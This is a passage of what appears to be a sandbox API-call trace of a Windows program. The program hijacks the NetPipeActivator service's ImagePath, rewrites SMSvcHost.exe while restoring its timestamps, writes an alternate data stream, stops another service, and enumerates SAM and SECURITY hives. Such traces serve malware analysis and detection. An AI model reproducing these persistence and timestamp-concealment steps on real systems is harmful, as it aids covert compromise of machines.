lpcbData=0x0) returned 0x0 [0254.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0254.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0254.513] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0254.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0254.513] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0254.513] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0254.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0254.513] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0254.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0254.514] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0254.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0254.514] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0254.514] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0254.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0254.514] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0254.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0254.514] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0254.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0254.514] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0254.514] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0254.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0254.514] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0254.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0254.514] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0254.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0254.515] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", cbData=0x3e | out: lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe") returned 0x0 [0254.515] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" [0254.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0254.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0254.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0254.515] LocalFree (hMem=0x7f03d0) returned 0x0 [0254.515] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", cbData=0x3e | out: lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe") returned 0x0 [0254.515] OpenServiceW (hSCManager=0x803918, lpServiceName="NetPipeActivator", dwDesiredAccess=0x2) returned 0x803990 [0254.515] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0254.763] CloseServiceHandle (hSCObject=0x803990) returned 1 [0254.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0254.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0254.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0254.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0254.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0254.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.764] RegCloseKey (hKey=0x148) returned 0x0 [0254.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0254.764] RegCloseKey (hKey=0x150) returned 0x0 [0254.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0254.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0254.764] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6170a7a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xe2894000, ftLastWriteTime.dwHighDateTime=0x1d0aa22, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0254.764] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150 [0254.764] SetFileTime (hFile=0x150, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0254.764] GetFileSize (in: hFile=0x150, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x44000 [0254.764] SetFilePointer (in: hFile=0x150, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0254.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x44000) returned 0x29f0048 [0254.767] ReadFile (in: hFile=0x150, lpBuffer=0x29f0048, nNumberOfBytesToRead=0x44000, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x29f0048*, lpNumberOfBytesRead=0x36f53c*=0x44000, lpOverlapped=0x0) returned 1 [0254.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x44000) returned 0x2a34050 [0254.772] SetEndOfFile (hFile=0x150) returned 1 [0254.772] GetFileTime (in: hFile=0x150, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0xe2894000, dwHighDateTime=0x1d0aa22)) returned 1 [0254.772] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0254.772] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0254.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0254.772] NtClose (Handle=0x150) returned 0x0 [0254.772] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6170a7a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xe2894000, ftLastWriteTime.dwHighDateTime=0x1d0aa22, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0254.772] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150 [0254.772] SetFileTime (hFile=0x150, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0254.772] WriteFile (in: hFile=0x150, lpBuffer=0x2a34050*, nNumberOfBytesToWrite=0x44000, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x2a34050*, lpNumberOfBytesWritten=0x36f53c*=0x44000, lpOverlapped=0x0) returned 1 [0254.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0254.775] SetFileTime (hFile=0x150, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0254.775] NtClose (Handle=0x150) returned 0x0 [0254.775] OpenServiceW (hSCManager=0x803918, lpServiceName="NetPipeActivator", dwDesiredAccess=0x10) returned 0x8038a0 [0254.775] StartServiceW (hService=0x8038a0, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 0 [0254.776] GetLastError () returned 0x433 [0254.776] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0254.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2a34050) returned 1 [0254.779] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0254.779] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0254.779] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0254.779] OpenServiceW (hSCManager=0x803918, lpServiceName="Microsoft SharePoint Workspace Audit Service", dwDesiredAccess=0x20) returned 0x803990 [0254.780] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0254.780] GetLastError () returned 0x425 [0254.780] CloseServiceHandle (hSCObject=0x803990) returned 1 [0254.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0254.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0254.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0254.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0254.781] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0254.781] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0254.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0254.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0254.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.781] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0254.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0254.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.781] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0254.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0254.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.782] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0254.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0254.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.782] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0254.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0254.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.782] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0254.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0254.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.782] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0254.782] RegCloseKey (hKey=0x80000002) returned 0x0 [0254.783] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0254.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0254.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0254.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.783] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0254.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0254.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f19b8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0254.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.783] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0254.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0254.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a00, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0254.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.783] RtlFreeHeap (HeapHandle=0x2520000, 